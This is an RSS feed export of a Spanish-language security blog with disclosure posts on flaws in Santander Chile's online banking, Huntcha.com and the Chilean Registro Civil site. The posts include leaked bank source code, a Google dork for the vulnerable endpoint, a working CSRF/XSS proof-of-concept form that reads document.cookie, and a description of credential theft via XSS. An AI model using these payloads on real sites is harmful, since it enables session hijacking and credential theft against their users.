<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Interes general</title>
	<atom:link href="http://blog.zerial.org/category/interes-general/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 12:23:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2881</guid>
		<description><![CDATA[Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas. Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), [...]]]></description>
			<content:encoded><![CDATA[<p>Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas.</p>
<p>Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.</p>
<p>Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a <strong><a href="http://twitter.com/Van_ultraviolet">@Van_ultraviolet</a></strong>, que le respondieron:</p>
<ul>
<li>Es una persona que necesita mucha atención, por eso hace esto.</li>
<li>Cualquier persona puede acceder al código fuente.</li>
<li>Revisamos las alertas del <strong>pseudo-hacker</strong> y no son reales.</li>
</ul>
<p>Pueden ver a respuesta completa aca: <a href="http://twitter.theinfo.org/152376559511142400">http://twitter.theinfo.org/152376559511142400</a></p>
<p>Considero que esto es <strong>impresentable</strong> y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.</p>
<p>Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del <em>Source Code Disclosure</em> y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.</p>
<p>El banco no ha respondido publicamente sobre el asunto, el &#8220;canal web&#8221; y el llamado &#8220;Community Manager&#8221; que maneja la cuenta de Twitter (<a href="http://twitter.com/santanderchile">@SantanderChile</a>), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.</p>
<p>Como conclusión, hay 3 empresas involucradas:</p>
<ol>
<li>Santander: La entidad afectada, el Banco.</li>
<li>TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.</li>
<li>NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la &#8220;seguridad&#8221; del Banco, es decir, es la &#8220;empresa lider en seguridad informatica&#8221; que audita periodicamente los sistemas del santander, <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">según ellos; Aviso de seguridad Santander</a>.</li>
</ol>
<p>De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.</p>
<p>Ustedes juzguen.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/"  data-text="Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Acceso al codigo fuente del Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 17:00:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2868</guid>
		<description><![CDATA[Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al [...]]]></description>
			<content:encoded><![CDATA[<p>Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al codigo fuente del sistema.</p>
<p>Se trata de una vulnerabilidad <strong>Local File Include</strong> +<strong> Directory Traversal</strong> = <strong>Source Code Disclosure</strong>, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.</p>
<p>Lo curioso es que segun el <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">aviso de seguridad oficial del banco santander</a>, hay una empresa &#8220;lider&#8221; en seguridad informática que les hace auditoría periodica:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png"><img class="aligncenter size-full wp-image-2869" title="avisoseg" src="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png" alt="" width="529" height="220" /></a></p>
<p>Cierto, parece un chiste.<br />
<span id="more-2868"></span></p>
<p>La vulnerabilidad está presente en el archivo &#8220;VerRentabilidad.asp&#8221;, que sirve para ver la rentabilidad de &#8220;algo&#8221;. El archivo necesita que se le entregue una variable &#8220;Numero&#8221;, al cual debemos pasarle especificamente un archivo y será descargado.<br />
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga</p>
<pre name="code" class="c">
        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" &#038; nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") &#038; Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" &#038; nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if
</pre>
<p>En la línea 01 almacena en la variable &#8220;nombrePDF&#8221; el valor que le entegamos por URL mediante la variable &#8220;Numero&#8221;, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.</p>
<p>Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.</p>
<p>Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema</p>
<blockquote><p>transa/<br />
transa/ErrorDB/<br />
transa/DHS/<br />
transa/solicitud/<br />
transa/include/<br />
transa/Productos/<br />
transa/Productos/include/<br />
transa/preerror.asp<br />
transa/logteclado.asp<br />
transa/FuncBanco.asp<br />
transa/common.asp<br />
transa/cruce.asp<br />
transa/ErrorDB/LogHOB.asp<br />
transa/DHS/Constantes.asp<br />
transa/DHS/DHSFuncs.asp<br />
transa/solicitud/constantes_campana.asp<br />
transa/include/ReadWriteSesion.asp<br />
transa/include/TrampHBFC.asp<br />
transa/include/prodini.asp<br />
transa/Productos/include/ProdMenu.asp</p></blockquote>
<p>Por ejemplo, <strong>ReadWriteSesion.asp</strong>:</p>
<pre name="code" class="c">
ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) &#038; right("00"&#038;month(now()),2) &#038; right("00"&#038;day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) &#038; "ErrorEstComp" &#038; NameArr &#038; fecha &#038; ".txt"
	Linea = "	URL = " &#038; URL
	Linea = Linea &#038; "	Detalle = " &#038; Objeto
	linea = fecha&#038;";"&#038; TimeValue(now()) &#038;";" &#038; linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function
</pre>
<p>Otor ejemplo, el archivo <strong>cruce.asp</strong>:</p>
<pre name="code" class="c">
'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME &#038; "/transa/partida.asp"
        path_sinper = SECWEBNAME &#038; "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************
</pre>
<p>Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el <a href="http://www.santander.cl/campanas/pi_mejor_banco/index.asp?o=ebinf">sistema de banco mas seguro de latinoamerica</a>.</p>
<p>A todas las personas que lean este artículo:<br />
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.<br />
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.<br />
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.<br />
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.<br />
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.<br />
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.</p>
<p>A los encargados de seguridad de los bancos u otras entidades:<br />
- La seguridad no es unicamente enviar emails y dar consejos tipo &#8220;no abras links&#8221;<br />
- La seguridad de tu institucion no depende de un certificado SSL.</p>
<p>Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.<br />
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:<br />
<a href="http://www.google.cl/search?q=site%3Asantander.cl+inurl%3AVerRentabilidad&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official"><strong>site:santander.cl inurl:VerRentabilidad</strong></a><br />
No es necesario estar logueado en el sistema para poder explotarla.</p>
<p>Solo me queda una pregunta&#8230; <strong>¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?</strong></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Facceso-al-codigo-fuente-del-banco-santander-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"  data-text="Acceso al codigo fuente del Banco Santander Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>Fallos de seguridad en Huntcha.com</title>
		<link>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/</link>
		<comments>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 02:47:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2845</guid>
		<description><![CDATA[Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png"><img class="aligncenter size-full wp-image-2846" title="huntchalogo" src="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png" alt="" width="213" height="65" /></a>Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los amores secretos&#8221; de esa persona. Si esta persona está emparejada y está casado, se podría armar un lio mas o menos.</p>
<p>Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:</p>
<blockquote><p><strong>Política de Privacidad</strong></p>
<p>En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la  empresa respeta el deber de proteger los datos de carácter privado y  personales de los usuarios, no dando acceso a ellos al público a menos  que el propio usuario los de a conocer, por medio de la página web bajo  su consentimiento, no pudiendo hacer responsable a la empresa por la  información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales  tomando todas las medidas necesarias para esto, a fin de evitar la  pérdida, mal uso o cualquier apropiación indebida de estos mismos.</p></blockquote>
<p>Lo que más me llama la atención es que segun ellos, son <a href="https://twitter.com/#!/huntcha_com/status/140430867058266112">100% privados y seguros</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png"><img class="aligncenter size-full wp-image-2847" title="seguroyprivado" src="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png" alt="" width="548" height="216" /></a></p>
<p>Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% <strong>no existe</strong>.</p>
<p>He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.</p>
<p>Las vulnerabilidades son <strong>Cross-Site Request Forgery</strong> (CSRF) y <strong>Cross-Site Scripting</strong> (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a &#8220;tus amigos&#8221; para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.</p>
<p><span id="more-2845"></span></p>
<p>Uno de los XSS detectados está en la página de error, cuando no encuentra el &#8220;módulo&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png"><img class="aligncenter size-full wp-image-2850" title="xss1" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss1.png" alt="" width="568" height="350" /></a></p>
<p>El segundo Cross-Site Scripting, lo encontré al momento de configurar el &#8220;Boss-Mode&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png"><img class="aligncenter size-full wp-image-2851" title="xss2" src="http://blog.zerial.org/wp-content/uploads/2011/12/xss2.png" alt="" width="565" height="508" /></a></p>
<p>Dentro del sistema, existe la función para que los usuarios puedan invitar a otras personas a participar de la red, mediante un &#8220;mensaje&#8221; enviado por correo electrónico desde el sistema huntcha. Esta función, no valida el Token de seguridad del formulario, pudiendo realizar post desde sitios externos (CSRF).</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png"><img class="aligncenter size-full wp-image-2852" title="mail_form1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form1.png" alt="" width="570" height="517" /></a></p>
<p>Si falsificamos ese formulario y lo corremos de forma local, con un simple html:</p>
<blockquote><p>&lt;form method=post action=http://www.huntcha.com/?c=app&amp;m=send_invitation&gt;<br />
Token Falso: &lt;input type=text name=csrf_huntcha_token value=5ca3fb36f6d005e01d53b02ce9fd4391&gt;&lt;br&gt;<br />
Nombre: &lt;input type=text name=name value=&#8221;AAA&#8221;&gt;&lt;br&gt;<br />
Destino: &lt;input type=text name=mail value=panic@zerial.org&gt;&lt;br&gt;<br />
Mensaje: &lt;input type=text name=message value=&#8221;hola&lt;a href=&#8217;http://www.huntcha.com/?c=index&amp;m=bossmode_denied&amp;url=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3Ehttp://www.google.cl&#8217;&gt;AAA&lt;/a&gt;&#8221;&gt;&lt;br&gt;<br />
&lt;input type=submit&gt;<br />
&lt;/form&gt;</p></blockquote>
<p>El formulario nos quedaría de la siguiente forma:<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png"><img class="aligncenter size-full wp-image-2856" title="mail_form_poc1" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc1.png" alt="" width="310" height="115" /></a></p>
<p>Cuando le damos a &#8220;Submit query&#8221;, al atacante le llegará un mensaje  con un link hacia un XSS dentro de Huntcha, si la victima tiene la sesión iniciada, podriamos enviar los datos de sesión a un servidor remoto, o bien obligar al usuario (sin que se de cuenta) a hacer request al huntcha.com (aprovechando que no validan los security tokens) y obtener información de si mismo, para enviarlo a un servidor remoto. El atacante lo unico que debe hacer es construir un javascript malicioso que permita robar la información necesaria, generar un mensaje llamativo y hacer uso de este metodo para enviar correos.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png"><img class="aligncenter size-full wp-image-2858" title="mail_form_poc3" src="http://blog.zerial.org/wp-content/uploads/2011/12/mail_form_poc3.png" alt="" width="534" height="391" /></a>En esta imagen pueden ver el correo que me llego, con el link malicioso. Cuando la víctima haga click en ese link, se ejecutará en su navegador el código javascript incrustado por el atacante, sin que se de cuenta.</p>
<p>La moraleja es que los usuarios deben ser un poco mas cuidadosos al momento de entregar información sensible a <strong>cualquier</strong> portal o sitio web. Hoy en día <strong>todas</strong> las empresas, portales, foros, redes sociales o lo que sea, dicen ser seguros, pero ya conocen la realidad.</p>
<p>El staff de Huntcha ya fue notificado de estas vulnerabilidades y se están trabajando en solucionarlas.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffallos-de-seguridad-en-huntcha-com%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/"  data-text="Fallos de seguridad en Huntcha.com" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Robo de credenciales y suplantación de identidad en sitio web del Registro Civil</title>
		<link>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/</link>
		<comments>http://blog.zerial.org/seguridad/robo-de-credenciales-y-suplantacion-de-identidad-en-sitio-web-del-registro-civil/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 12:20:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[prueba de concepto]]></category>
		<category><![CDATA[registro civil]]></category>
		<category><![CDATA[robo de credenciales]]></category>
		<category><![CDATA[robo de identidad]]></category>
		<category><![CDATA[session hijacking]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sitios web vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2815</guid>
		<description><![CDATA[Hace un par de semanas fueron reportadas en Secureless 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior, quienes ellos mismos se acercaron a mi luego de la charla de la Computer Security Conference [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png"><img class="aligncenter size-full wp-image-2816" title="regciv" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv.png" alt="" width="543" height="60" /></a></p>
<p>Hace un par de semanas fueron reportadas en <a href="http://secureless.org">Secureless</a> 2 vulnerabilidades Cross-Site Scripting (XSS) que afectaban al sitio web del Registro Civil en Chile, tambien fueron reportadas mediante el <strong>grupo de respuesta ante incidentes (CSIRT) del Ministerio del Interior</strong>, quienes ellos mismos se acercaron a mi luego de la charla de la <a href="http://8dot8.org">Computer Security Conference 8.8</a> para canalizar mediante ellos las vulnerabilidades de sitios web del gobierno que sean encontradas. El CSIRT del Interior ha respondido muy bien, pero al parecer ni si quiera una &#8220;entidad reguladora&#8221; es capaz de hacer entender a los responsables y encargados.</p>
<p>Las vulnerabilidades de este tipo no son consideradas un riesgo y no se le da la urgencia que se necesita. Esta vulnerabilidad es critica ya que se encuentra en la sección para que los usuarios inicien sesión y permite el <strong>robo de credenciales y suplantación de identidad</strong>.</p>
<p>Este fallo afecta a la página de autentificación de certificados en línea</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png"><img class="aligncenter size-full wp-image-2819" title="regciv_certl" src="http://blog.zerial.org/wp-content/uploads/2011/11/regciv_certl.png" alt="" width="584" height="210" /></a>En el cual es posible modificar la función el botón &#8220;Ingresar&#8221;, para que nos envíe la información de identificación a un sitio externo.</p>
<p><span id="more-2815"></span></p>
<p>La víctima lo único que tiene que hacer es ingresar a un link malicioso que el atacante le envie por correo o por algún otro medio. Esta vulnerabilidad se aprovecha de la confianza que tiene el usuario sobre el sitio web, ya que usa el <strong>dominio original</strong> y real del Registro Civil, incluso su certificado de &#8220;seguridad&#8221; SSL. La URL maliciosa tiene la forma</p>
<p style="text-align: center;"><strong>https://www.registrocivil.cl/XXXXXXXXXXXXXXXXXXXXXXXXXX</strong></p>
